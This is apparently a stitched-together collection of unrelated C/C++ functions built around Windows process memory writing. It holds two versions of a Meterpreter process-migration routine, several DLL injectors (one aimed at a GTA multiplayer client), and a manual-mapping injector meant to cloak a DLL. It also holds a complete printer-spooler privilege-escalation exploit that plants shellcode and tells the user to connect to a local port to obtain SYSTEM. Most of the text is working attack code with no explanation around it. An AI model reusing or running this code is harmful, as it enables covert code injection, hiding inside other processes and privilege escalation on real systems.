/*! * @brief Migrate the meterpreter server from the current process into another process. * @param remote Pointer to the \c Remote instance. * @param packet Pointer to the request packet. * @param pResult Pointer to the memory that will receive the result. * @returns Indication of whether the server should continue processing or not. */ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResult) { DWORD dwResult = ERROR_SUCCESS; Packet * response = NULL; HANDLE hToken = NULL; HANDLE hProcess = NULL; HANDLE hEvent = NULL; BYTE * lpPayloadBuffer = NULL; LPVOID lpMigrateStub = NULL; LPBYTE lpMemory = NULL; MIGRATECONTEXT ctx = { 0 }; DWORD dwMigrateStubLength = 0; DWORD dwPayloadLength = 0; DWORD dwProcessID = 0; DWORD dwDestinationArch = 0; MetsrvConfig* config = NULL; DWORD configSize = 0; do { response = packet_create_response(packet); if (!response) { dwResult = ERROR_NOT_ENOUGH_MEMORY; break; } // Get the process identifier to inject into dwProcessID = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PID); // Get the target process architecture to inject into dwDestinationArch = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_ARCH); // Get the length of the payload buffer dwPayloadLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_LEN); // Receive the actual migration payload buffer lpPayloadBuffer = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD); dprintf("[MIGRATE] Attempting to migrate. ProcessID=%d, Arch=%s, PayloadLength=%d", dwProcessID, (dwDestinationArch == 2 ? "x64" : "x86"), dwPayloadLength); // If we can, get SeDebugPrivilege... if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { TOKEN_PRIVILEGES priv = { 0 }; priv.PrivilegeCount = 1; priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid)) { if (AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL)); { dprintf("[MIGRATE] Got SeDebugPrivilege!"); } } CloseHandle(hToken); } // Open the process so that we can migrate into it hProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwProcessID); if (!hProcess) { BREAK_ON_ERROR("[MIGRATE] OpenProcess failed") } // get the existing configuration dprintf("[MIGRATE] creating the configuration block"); remote->config_create(remote, &config, &configSize); dprintf("[MIGRATE] Config of %u bytes stashed at 0x%p", configSize, config); if (config->session.comms_fd) { // Duplicate the socket for the target process if we are SSL based if (WSADuplicateSocket(config->session.comms_fd, dwProcessID, &ctx.info) != NO_ERROR) { BREAK_ON_WSAERROR("[MIGRATE] WSADuplicateSocket failed") } } // Create a notification event that we'll use to know when it's safe to exit // (once the socket has been referenced in the other process) hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); if (!hEvent) { BREAK_ON_ERROR("[MIGRATE] CreateEvent failed") } // Duplicate the event handle for the target process if (!DuplicateHandle(GetCurrentProcess(), hEvent, hProcess, &ctx.e.hEvent, 0, TRUE, DUPLICATE_SAME_ACCESS)) { BREAK_ON_ERROR("[MIGRATE] DuplicateHandle failed") } // Get the architecture specific process migration stub... if (dwDestinationArch == PROCESS_ARCH_X86) { lpMigrateStub = (LPVOID)&migrate_stub_x86; dwMigrateStubLength = sizeof(migrate_stub_x86); } else if (dwDestinationArch == PROCESS_ARCH_X64) { lpMigrateStub = (LPVOID)&migrate_stub_x64; dwMigrateStubLength = sizeof(migrate_stub_x64); } else { SetLastError(ERROR_BAD_ENVIRONMENT); dprintf("[MIGRATE] Invalid target architecture: %u", dwDestinationArch); break; } // Allocate memory for the migrate stub, context, payload and configuration block lpMemory = (LPBYTE)VirtualAllocEx(hProcess, NULL, dwMigrateStubLength + sizeof(MIGRATECONTEXT) + dwPayloadLength + configSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (!lpMemory) { BREAK_ON_ERROR("[MIGRATE] VirtualAllocEx failed") } // Calculate the address of the payload... ctx.p.lpPayload = lpMemory + dwMigrateStubLength + sizeof(MIGRATECONTEXT); // Write the migrate stub to memory... dprintf("[MIGRATE] Migrate stub: 0x%p -> %u bytes", lpMemory, dwMigrateStubLength); if (!WriteProcessMemory(hProcess, lpMemory, lpMigrateStub, dwMigrateStubLength, NULL)) { BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 1 failed") } // Write the migrate context to memory... dprintf("[MIGRATE] Migrate context: 0x%p -> %u bytes", lpMemory + dwMigrateStubLength, sizeof(MIGRATECONTEXT)); if (!WriteProcessMemory(hProcess, lpMemory + dwMigrateStubLength, &ctx, sizeof(MIGRATECONTEXT), NULL)) { BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 2 failed") } // Write the migrate payload to memory... dprintf("[MIGRATE] Migrate payload: 0x%p -> %u bytes", ctx.p.lpPayload, dwPayloadLength); if (!WriteProcessMemory(hProcess, ctx.p.lpPayload, lpPayloadBuffer, dwPayloadLength, NULL)) { BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 3 failed") } // finally write the configuration stub dprintf("[MIGRATE] Configuration: 0x%p -> %u bytes", ctx.p.lpPayload + dwPayloadLength, configSize); if (!WriteProcessMemory(hProcess, ctx.p.lpPayload + dwPayloadLength, config, configSize, NULL)) { BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 4 failed") } // First we try to migrate by directly creating a remote thread in the target process if (inject_via_remotethread(remote, response, hProcess, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS) { dprintf("[MIGRATE] inject_via_remotethread failed, trying inject_via_apcthread..."); // If that fails we can try to migrate via a queued APC in the target process if (inject_via_apcthread(remote, response, hProcess, dwProcessID, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS) { BREAK_ON_ERROR("[MIGRATE] inject_via_apcthread failed") } } dwResult = ERROR_SUCCESS; } while (0);
bool InjectDLL(DWORD processID, const char* dllLocation) { // gets a module handler which loaded by the process which // should be injected HMODULE hModule = GetModuleHandle(loadedModuleName); if (!hModule) { printf("ERROR: Can't get %s's handle, ", loadedModuleName); printf("ErrorCode: %u\n", GetLastError()); system("pause"); return false; } // gets the address of an exported function which can load DLLs FARPROC loadLibraryAddress = GetProcAddress(hModule, loadDLLFunctionName); if (!loadLibraryAddress) { printf("ERROR: Can't get function %s's address, ", loadDLLFunctionName); printf("ErrorCode: %u\n", GetLastError()); system("pause"); return false; } // opens the process which should be injected HANDLE hProcess = OpenClientProcess(processID); if (!hProcess) { printf("Process [%u] open is failed.\n", processID); system("pause"); return false; } printf("\nProcess [%u] is opened.\n", processID); // gets the build number WORD buildNumber = GetBuildNumberFromProcess(hProcess); // error occured if (!buildNumber) { printf("Can't determine build number.\n"); CloseHandle(hProcess); return false; } printf("Detected build number: %hu\n", buildNumber); // checks this build is supported or not if (!IsHookEntryExists(NULL, buildNumber)) { printf("ERROR: This build number is not supported.\n"); system("pause"); CloseHandle(hProcess); return false; } // allocates memory for the DLL location string LPVOID allocatedMemoryAddress = VirtualAllocEx(hProcess, NULL, strlen(dllLocation), MEM_COMMIT, PAGE_READWRITE); if (!allocatedMemoryAddress) { printf("ERROR: Virtual memory allocation is failed, "); printf("ErrorCode: %u.\n", GetLastError()); system("pause"); CloseHandle(hProcess); return false; } // writes the DLL location string to the process // so this is the parameter which will be passed to LoadLibraryA if (!WriteProcessMemory(hProcess, allocatedMemoryAddress, dllLocation, strlen(dllLocation), NULL)) { printf("ERROR: Process memory writing is failed, "); printf("ErrorCode: %u\n", GetLastError()); system("pause"); VirtualFreeEx(hProcess, allocatedMemoryAddress, 0, MEM_RELEASE); CloseHandle(hProcess); return false; } // creates a thread that runs in the virtual address space of // the process which should be injected and gives the // parameter (allocatedMemoryAddress) to LoadLibraryA(loadLibraryAddress) HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)loadLibraryAddress, allocatedMemoryAddress, 0, NULL); if (!hRemoteThread) { printf("ERROR: Remote thread creation is failed, "); printf("ErrorCode: %u\n", GetLastError()); system("pause"); VirtualFreeEx(hProcess, allocatedMemoryAddress, 0, MEM_RELEASE); CloseHandle(hProcess); return false; } // waits until the DLL's main function returns WaitForSingleObject(hRemoteThread, INFINITE); // frees resources VirtualFreeEx(hProcess, allocatedMemoryAddress, 0, MEM_RELEASE); CloseHandle(hRemoteThread); CloseHandle(hProcess); return true; }
int main(int argc, char* argv[]) { unsigned char exploit[BOFSIZE]; unsigned char buffer[REQUIRED_SIZE]; DWORD dwSizeNeeded,n=0; DWORD datalen=REQUIRED_SIZE; LARGE_INTEGER dirs; HANDLE hProcess; DWORD write; char *p,i; #define lpLocalAddress dirs.LowPart #define lpTargetAddress dirs.HighPart printf("[+] Universal exploit for printer spooler providers\n"); printf("[+] Some Citrix metaframe, DiskAccess and Novel versions are affected\n"); printf("[+] Exploit by Andres Tarasco - [email protected]\n\n"); printf("[+] Connecting to spooler LCP port \\RPC Control\\spoolss\n"); do { dirs=ConnectToLPCPort(); printf("[+] Trying to locate valid address: Found 0x%8.8x after %i tries\r",lpTargetAddress,n+1); if (lpLocalAddress==0){ printf("\n[-] Unable to connect to spooler LPC port\n"); printf("[-] Check if the service is running\n"); exit(0); } i=lpTargetAddress>>24; // & 0xFF000000 == 0 n++; if (n==MAXLOOPS) { printf("\n[-] Unable to locate a valid address after %i tries\n",n); printf("[?] Maybe a greater REQUIRED_SIZE should help. Try increasing it\n"); return(0); } }while (i!=0); //printf(" (%i tries)\n",n); printf("\n"); printf("[+] Mapped memory. Client address: 0x%8.8x\n",lpLocalAddress); printf("[+] Mapped memory. Server address: 0x%8.8x\n",lpTargetAddress); i=(lpTargetAddress<<8)>>24; //Fill all with rets. who cares where is it. memset(exploit,i,sizeof(exploit)); exploit[sizeof(exploit)-1]='\0'; /* memset(exploit,'A',sizeof(exploit)-1); exploit[262]= (lpTargetAddress<<8)>>24; //EIP for Diskaccess exploit[263]= (lpTargetAddress<<8)>>24; //EIP for Diskaccess exploit[264]='\0'; */ printf("[+] Targeting return address to : 0x00%2.2X00%2.2X\n",exploit[262],exploit[262]); p=(char *)lpLocalAddress; memset(&buffer[0],0x90,REQUIRED_SIZE); memcpy(&buffer[REQUIRED_SIZE -sizeof(shellcode)-10],shellcode,sizeof(shellcode)); printf("[+] Writting to shared memory...\n"); if ( (hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId()))!= NULL ) { if ( WriteProcessMemory( hProcess, p, &buffer[0], REQUIRED_SIZE, &write )!=0 ) { printf("[+] Written 0x%x bytes \n",write); printf("[+] Exploiting vulnerability....\n"); printf("[+] Exploit complete. Now try to connect to 127.0.0.1:51477\n"); printf("[+] and check if you are system =)\n"); EnumPrintersA ( PRINTER_ENUM_NAME, (char *)exploit, 1, NULL, 0, &dwSizeNeeded, &n ); return(1); } else { printf("[-] Written 0x%x bytes \n",write); } } printf("[-] Something failed. Error %i - Good luck next time\n",GetLastError()); return(0); }
BOOL HsInjectDllByRemoteThreadWinXP(const TCHAR* wzDllFile, ULONG_PTR ProcessId) { //提高本进程的权限 if (!HsInjectUpPrivilige()) //提权 { printf("Up Privilige Is Error\n"); return FALSE; } CStringA *Dll = new CStringA(wzDllFile); //我们就要打开想要打开的进程 HANDLE hProcess = NULL; HANDLE hThread = NULL; hProcess = OpenProcess(PROCESS_ALL_ACCESS,false,(DWORD)ProcessId); //explorer.exe hProcess if (hProcess==NULL) { printf("Open Process Is Error\n"); return FALSE; } char* szDllName = NULL; szDllName = (char*)VirtualAllocEx(hProcess, NULL,Dll->GetLength()+1,MEM_COMMIT,PAGE_READWRITE); if (szDllName==NULL) { CloseHandle(hProcess); printf("Apply Memory Is Error\n"); return FALSE; } //然后将完整的路径直接写入内存 if (!WriteProcessMemory(hProcess,szDllName,Dll->GetBuffer(),Dll->GetLength()+1,NULL)) { CloseHandle(hProcess); printf("Write Memory Is Error\n"); return FALSE; } LPTHREAD_START_ROUTINE StartRoutine = NULL; StartRoutine = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryA"); if(StartRoutine == NULL) { printf("Get ProcAddress Error\n"); return FALSE; } hThread = CreateRemoteThread(hProcess,NULL,0,StartRoutine,szDllName,0,NULL); if (hThread==NULL) { CloseHandle(hProcess); printf("Create Remote Thread Is Error\n"); return FALSE; } WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); VirtualFreeEx(hProcess,szDllName,0,MEM_RELEASE); CloseHandle(hProcess); return TRUE; }
/*! * @brief Migrate the meterpreter server from the current process into another process. * @param remote Pointer to the \c Remote instance. * @param packet Pointer to the request packet. * @param pResult Pointer to the memory that will receive the result. * @returns Indication of whether the server should continue processing or not. */ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResult) { DWORD dwResult = ERROR_SUCCESS; Packet * response = NULL; HANDLE hToken = NULL; HANDLE hProcess = NULL; HANDLE hEvent = NULL; BYTE * lpPayloadBuffer = NULL; LPVOID lpMigrateStub = NULL; LPBYTE lpMemory = NULL; LPBYTE lpUuid = NULL; LPCOMMONMIGRATECONTEXT ctx = NULL; DWORD ctxSize = 0; DWORD dwMigrateStubLength = 0; DWORD dwPayloadLength = 0; DWORD dwProcessID = 0; DWORD dwDestinationArch = 0; MetsrvConfig* config = NULL; DWORD configSize = 0; do { response = packet_create_response(packet); if (!response) { dwResult = ERROR_NOT_ENOUGH_MEMORY; break; } // Get the process identifier to inject into dwProcessID = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PID); // Get the target process architecture to inject into dwDestinationArch = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_ARCH); // Get the length of the payload buffer dwPayloadLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PAYLOAD_LEN); // Receive the actual migration payload buffer lpPayloadBuffer = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD); // Get handles to the updated UUIDs if they're there lpUuid = packet_get_tlv_value_raw(packet, TLV_TYPE_UUID); // Get the migrate stub information dwMigrateStubLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_STUB_LEN); lpMigrateStub = packet_get_tlv_value_raw(packet, TLV_TYPE_MIGRATE_STUB); dprintf("[MIGRATE] Attempting to migrate. ProcessID=%d, Arch=%s, PayloadLength=%d", dwProcessID, (dwDestinationArch == 2 ? "x64" : "x86"), dwPayloadLength); // If we can, get SeDebugPrivilege... if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { TOKEN_PRIVILEGES priv = { 0 }; priv.PrivilegeCount = 1; priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid)) { if (AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL)); { dprintf("[MIGRATE] Got SeDebugPrivilege!"); } } CloseHandle(hToken); } // Open the process so that we can migrate into it hProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwProcessID); if (!hProcess) { BREAK_ON_ERROR("[MIGRATE] OpenProcess failed") } // get the existing configuration dprintf("[MIGRATE] creating the configuration block"); remote->config_create(remote, lpUuid, &config, &configSize); dprintf("[MIGRATE] Config of %u bytes stashed at 0x%p", configSize, config); if (remote->transport->get_migrate_context != NULL) { dwResult = remote->transport->get_migrate_context(remote->transport, dwProcessID, hProcess, &ctxSize, (LPBYTE*)&ctx); } else { dwResult = get_migrate_context(&ctxSize, &ctx); } if (dwResult != ERROR_SUCCESS) { dprintf("[MIGRATE] Failed to create migrate context: %u", dwResult); break; } // Create a notification event that we'll use to know when it's safe to exit // (once the socket has been referenced in the other process) hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); if (!hEvent) { BREAK_ON_ERROR("[MIGRATE] CreateEvent failed"); } // Duplicate the event handle for the target process if (!DuplicateHandle(GetCurrentProcess(), hEvent, hProcess, &ctx->e.hEvent, 0, TRUE, DUPLICATE_SAME_ACCESS)) { BREAK_ON_ERROR("[MIGRATE] DuplicateHandle failed"); } dprintf("[MIGRATE] Duplicated Event Handle: 0x%x", (UINT_PTR)ctx->e.hEvent); // Allocate memory for the migrate stub, context, payload and configuration block lpMemory = (LPBYTE)VirtualAllocEx(hProcess, NULL, dwMigrateStubLength + ctxSize + dwPayloadLength + configSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (!lpMemory) { BREAK_ON_ERROR("[MIGRATE] VirtualAllocEx failed"); } // Calculate the address of the payload... ctx->p.lpPayload = lpMemory + dwMigrateStubLength + ctxSize; // Write the migrate stub to memory... dprintf("[MIGRATE] Migrate stub: 0x%p -> %u bytes", lpMemory, dwMigrateStubLength); if (!WriteProcessMemory(hProcess, lpMemory, lpMigrateStub, dwMigrateStubLength, NULL)) { BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 1 failed"); } // Write the migrate context to memory... dprintf("[MIGRATE] Migrate context: 0x%p -> %u bytes", lpMemory + dwMigrateStubLength, ctxSize); if (!WriteProcessMemory(hProcess, lpMemory + dwMigrateStubLength, ctx, ctxSize, NULL)) { BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 2 failed"); } // Write the migrate payload to memory... dprintf("[MIGRATE] Migrate payload: 0x%p -> %u bytes", ctx->p.lpPayload, dwPayloadLength); if (!WriteProcessMemory(hProcess, ctx->p.lpPayload, lpPayloadBuffer, dwPayloadLength, NULL)) { BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 3 failed"); } // finally write the configuration stub dprintf("[MIGRATE] Configuration: 0x%p -> %u bytes", ctx->p.lpPayload + dwPayloadLength, configSize); if (!WriteProcessMemory(hProcess, ctx->p.lpPayload + dwPayloadLength, config, configSize, NULL)) { BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 4 failed"); } free(ctx); // First we try to migrate by directly creating a remote thread in the target process if (inject_via_remotethread(remote, response, hProcess, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS) { dprintf("[MIGRATE] inject_via_remotethread failed, trying inject_via_apcthread..."); // If that fails we can try to migrate via a queued APC in the target process if (inject_via_apcthread(remote, response, hProcess, dwProcessID, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS) { BREAK_ON_ERROR("[MIGRATE] inject_via_apcthread failed"); } } dwResult = ERROR_SUCCESS; } while (0); SAFE_FREE(config); // If we failed and have not sent the response, do so now if (dwResult != ERROR_SUCCESS && response) { dprintf("[MIGRATE] Sending response"); packet_transmit_response(dwResult, remote, response); } // Cleanup... if (hProcess) { dprintf("[MIGRATE] Closing the process handle 0x%08x", hProcess); CloseHandle(hProcess); } if (hEvent) { dprintf("[MIGRATE] Closing the event handle 0x%08x", hEvent); CloseHandle(hEvent); } if (pResult) { *pResult = dwResult; } // if migration succeeded, return 'FALSE' to indicate server thread termination. dprintf("[MIGRATE] Finishing migration, result: %u", dwResult); return ERROR_SUCCESS == dwResult ? FALSE : TRUE; }
bool MapRemoteModule(unsigned long pId, const char *module) { IMAGE_DOS_HEADER *dosHd; IMAGE_NT_HEADERS *ntHd; IMAGE_NT_HEADERS64 *ntHd64 = NULL; HANDLE hFile = CreateFileA(module, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if(hFile == INVALID_HANDLE_VALUE) return false; unsigned int fSize; if(GetFileAttributesA(module) & FILE_ATTRIBUTE_COMPRESSED) fSize = GetCompressedFileSizeA(module, NULL); else fSize = GetFileSize(hFile, NULL); unsigned char *dllBin = new unsigned char[fSize]; unsigned int nBytes; // copy into our dllBin buffer the entire DLL ReadFile(hFile, dllBin, fSize, (LPDWORD)&nBytes, FALSE); CloseHandle(hFile); // Every PE file contains a little DOS stub for backwards compatibility // its only real relevance is that it contains a pointer to the actual // PE header. dosHd = MakePtr(IMAGE_DOS_HEADER *, dllBin, 0); // Make sure we got a valid DOS header if(dosHd->e_magic != IMAGE_DOS_SIGNATURE) { wxMessageBox( _("The DOS header was invalid"), _("Error: Invalid DOS header"), wxICON_ERROR ); delete [] dllBin; return false; } // Get the real PE header from the DOS stub header // This header contains pointers to the Optional Header and the // COFF File Header. ntHd = MakePtr(IMAGE_NT_HEADERS *, dllBin, dosHd->e_lfanew); // Verify that the PE header is PE00 if(ntHd->Signature != IMAGE_NT_SIGNATURE) { wxMessageBox( _("The PE Header was not found."), _("Error: PE Header not found"), wxICON_ERROR ); delete [] dllBin; return false; } // Verify that the image file is a DLL if( (ntHd->FileHeader.Characteristics & IMAGE_FILE_DLL) == false ) { wxMessageBox( _("You may only inject DLL image files."), _("Error: Injected image file was not a DLL"), wxICON_ERROR ); delete [] dllBin; return false; } // Open the target process HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pId); // We failed to open the process, so return false if(!hProcess) { wxMessageBox( _("Failed to open target process."), _("Error: Failed to open process"), wxICON_ERROR ); delete [] dllBin; return false; } // Determine whether the image is a PE32 or PE32+ executable if( ntHd->OptionalHeader.Magic != IMAGE_NT_OPTIONAL_HDR32_MAGIC ) { if( ntHd->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC ) { ntHd64 = (IMAGE_NT_HEADERS64 *)ntHd; wxMessageBox( _("Image is a PE32+ executable.\nInjector Gadget doesn't support PE32+ executables yet."), _("Error: Image is not a PE32 executable"), wxICON_ERROR ); } else if( ntHd->OptionalHeader.Magic == IMAGE_ROM_OPTIONAL_HDR_MAGIC ) { wxMessageBox( _("Image is a ROM image.\nInjector Gadget doesn't support ROM images."), _("Error: Image is not a PE32 executable"), wxICON_ERROR ); } delete [] dllBin; return false; } // Allocate space for the module in the remote process void *imageBase = VirtualAllocEx(hProcess, NULL, ntHd->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // Make sure we got the memory space we wanted if(!imageBase) { delete [] dllBin; return false; } // Allocate space for our stub void *stubBase = VirtualAllocEx(hProcess, NULL, MakeDelta(SIZE_T, DC_stubend, DllCall_stub), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // Make sure we got the memory space we wanted if(!stubBase) { delete [] dllBin; return false; } // We now need to fix up the tables. // The tables are as follows (in order): // Export Table, Import Table, Resource Table, Exception Table, // Certificate Table, Base Relocation Table, Debug, Architecture, // Global Ptr, TLS Table, Load Config Table, Bound Import, IAT, // Delay Import Descriptor, CLR Runtime Header, Reserved // First important section is the Export Table. We're going to skip this // since the whole point of cloaking a DLL is to hide its presence. // Second important section is the Import Table. We really need this. if( ntHd->OptionalHeader.NumberOfRvaAndSizes > 1 ) { IMAGE_IMPORT_DESCRIPTOR *impDesc = (IMAGE_IMPORT_DESCRIPTOR *)GetPtrFromRVA( (DWORD)(ntHd->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress), ntHd, (PBYTE)dllBin); if(ntHd->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size) FixImports(pId, (unsigned char *)dllBin, ntHd, impDesc); else // size was 0 for the import directory entry { wxMessageBox( _("Size of import directory entry was 0"), _("Error: Import Directory size is 0"), wxICON_ERROR); delete [] dllBin; return false; } } else // IMAGE_DIRECTORY_ENTRY_IMPORT didn't exist in the data directories { wxMessageBox( _("The import table referenced an invalid index in the data directory."), _("Error: Import table could not be located"), wxICON_ERROR ); delete [] dllBin; return false; } // Fix "base relocations" of the new module. Base relocations are places // in the module that use absolute addresses to reference data. Since // the base address of the module can be different at different times, // the base relocation data is necessary to make the module loadable // at any address. IMAGE_BASE_RELOCATION *reloc = (IMAGE_BASE_RELOCATION *)GetPtrFromRVA( (DWORD)(ntHd->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress), ntHd, (PBYTE)dllBin); if(ntHd->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size) FixRelocs(dllBin, imageBase, ntHd, reloc, ntHd->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size); // Write the PE header into the remote process's memory space WriteProcessMemory(hProcess, imageBase, dllBin, ntHd->FileHeader.SizeOfOptionalHeader + sizeof(ntHd->FileHeader) + sizeof(ntHd->Signature), (SIZE_T *)&nBytes); // Map the sections into the remote process(they need to be aligned // along their virtual addresses) MapSections(hProcess, imageBase, dllBin, ntHd); // Change the page protection on the DllCall_stub function from PAGE_EXECUTE_READ // to PAGE_EXECUTE_READWRITE, so we can patch it. VirtualProtect((LPVOID)DllCall_stub, MakeDelta(SIZE_T, DC_stubend, DllCall_stub), PAGE_EXECUTE_READWRITE, (DWORD *)&nBytes); // Patch the stub so it calls the correct address *MakePtr(unsigned long *, DllCall_stub, 9) = MakePtr(unsigned long, imageBase, ntHd->OptionalHeader.AddressOfEntryPoint); // Write the stub into the remote process WriteProcessMemory(hProcess, stubBase, (LPVOID)DllCall_stub, MakeDelta(SIZE_T, DC_stubend, DllCall_stub), (SIZE_T *)&nBytes); #ifdef __USING_DEBUGGER wxMessageBox(_("Calling CreateRemoteThread")); wxMessageBox( _("hProcess: ") + wxString::Format("%08X",hProcess) ); wxMessageBox( _("stubBase: ") + wxString::Format("%08X",stubBase) ); wxMessageBox( _("moduleBas: ") + wxString::Format("%08X",imageBase) ); #endif // Execute our stub in the remote process CreateRemoteThread(hProcess, NULL, ntHd->OptionalHeader.SizeOfStackCommit, (LPTHREAD_START_ROUTINE)stubBase, imageBase, // Pass the base address of the module as the argument to the stub. // All a module handle is, is the base address of the module(except // in windows CE), so we're really passing a handle to the module // so that it can refer to itself, create dialogs, etc.. 0, NULL); delete dllBin; return true; }
void BWMem::WriteBytes(HANDLE hProcess, char *adr, const char *buffer, int size) { DWORD written=0; if(!WriteProcessMemory(hProcess,adr,(void*)buffer,size,&written)) written=0; }
EXPORT int Client::Client::Init() { char szDLLPath[MAX_PATH + 1] = { 0 }; DWORD dwPId = 0; BOOL bRetn; GetModuleFileName((HMODULE) g_hDllHandle, szDLLPath, sizeof(szDLLPath)); if (!atoi(GetParam("use_window").c_str())) { std::string szSearchName = GetParam("process"); dwPId = Utils::Process::pidByProcessName(szSearchName); if (dwPId != 0) { // We want to wait until after SAMP is fully loaded (that is, the window is // no longer named "GTA: San Andreas") so we can actually access all SAMP features DWORD dwPIdStartup = Utils::Process::pidByWindowName("GTA: San Andreas"); if (dwPId == dwPIdStartup) return 0; } } else { std::string szSearchName = GetParam("window"); if (szSearchName.length() == 0) szSearchName = "GTA:SA:MP"; dwPId = Utils::Process::pidByWindowName(szSearchName); } if (dwPId == 0) return 0; HANDLE hHandle = OpenProcess((STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0xFFF), FALSE, dwPId); if (hHandle == 0 || hHandle == INVALID_HANDLE_VALUE) return 0; void *pAddr = VirtualAllocEx(hHandle, NULL, strlen(szDLLPath) + 1, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (pAddr == NULL) { CloseHandle(hHandle); return 0; } bRetn = WriteProcessMemory(hHandle, pAddr, szDLLPath, strlen(szDLLPath) + 1, NULL); if (bRetn == FALSE) { VirtualFreeEx(hHandle, pAddr, strlen(szDLLPath) + 1, MEM_RELEASE); CloseHandle(hHandle); return 0; } DWORD dwBase = 0; // Load DLL-file { LPTHREAD_START_ROUTINE pFunc = (LPTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA"); if (pFunc == NULL) { VirtualFreeEx(hHandle, pAddr, strlen(szDLLPath) + 1, MEM_RELEASE); CloseHandle(hHandle); return 0; } HANDLE hThread = CreateRemoteThread(hHandle, 0, 0, pFunc, pAddr, 0, 0); if (hThread == NULL || hThread == INVALID_HANDLE_VALUE) { VirtualFreeEx(hHandle, pAddr, strlen(szDLLPath) + 1, MEM_RELEASE); CloseHandle(hHandle); return 0; } WaitForSingleObject(hThread, INFINITE); GetExitCodeThread(hThread, &dwBase); VirtualFreeEx(hHandle, pAddr, strlen(szDLLPath) + 1, MEM_RELEASE); CloseHandle(hThread); } // Start Remote-IPC { if (dwBase == 0) { CloseHandle(hHandle); return 0; } DWORD pFunc = (DWORD) GetProcAddress((HMODULE) g_hDllHandle, "enable"); pFunc -= (DWORD) g_hDllHandle; pFunc += (DWORD) dwBase; if (pFunc == NULL) { CloseHandle(hHandle); return 0; } HANDLE hThread = CreateRemoteThread(hHandle, 0, 0, (LPTHREAD_START_ROUTINE) pFunc, 0, 0, 0); if (hThread == NULL || hThread == INVALID_HANDLE_VALUE) { CloseHandle(hHandle); return 0; } WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); CloseHandle(hHandle); return 1; } }
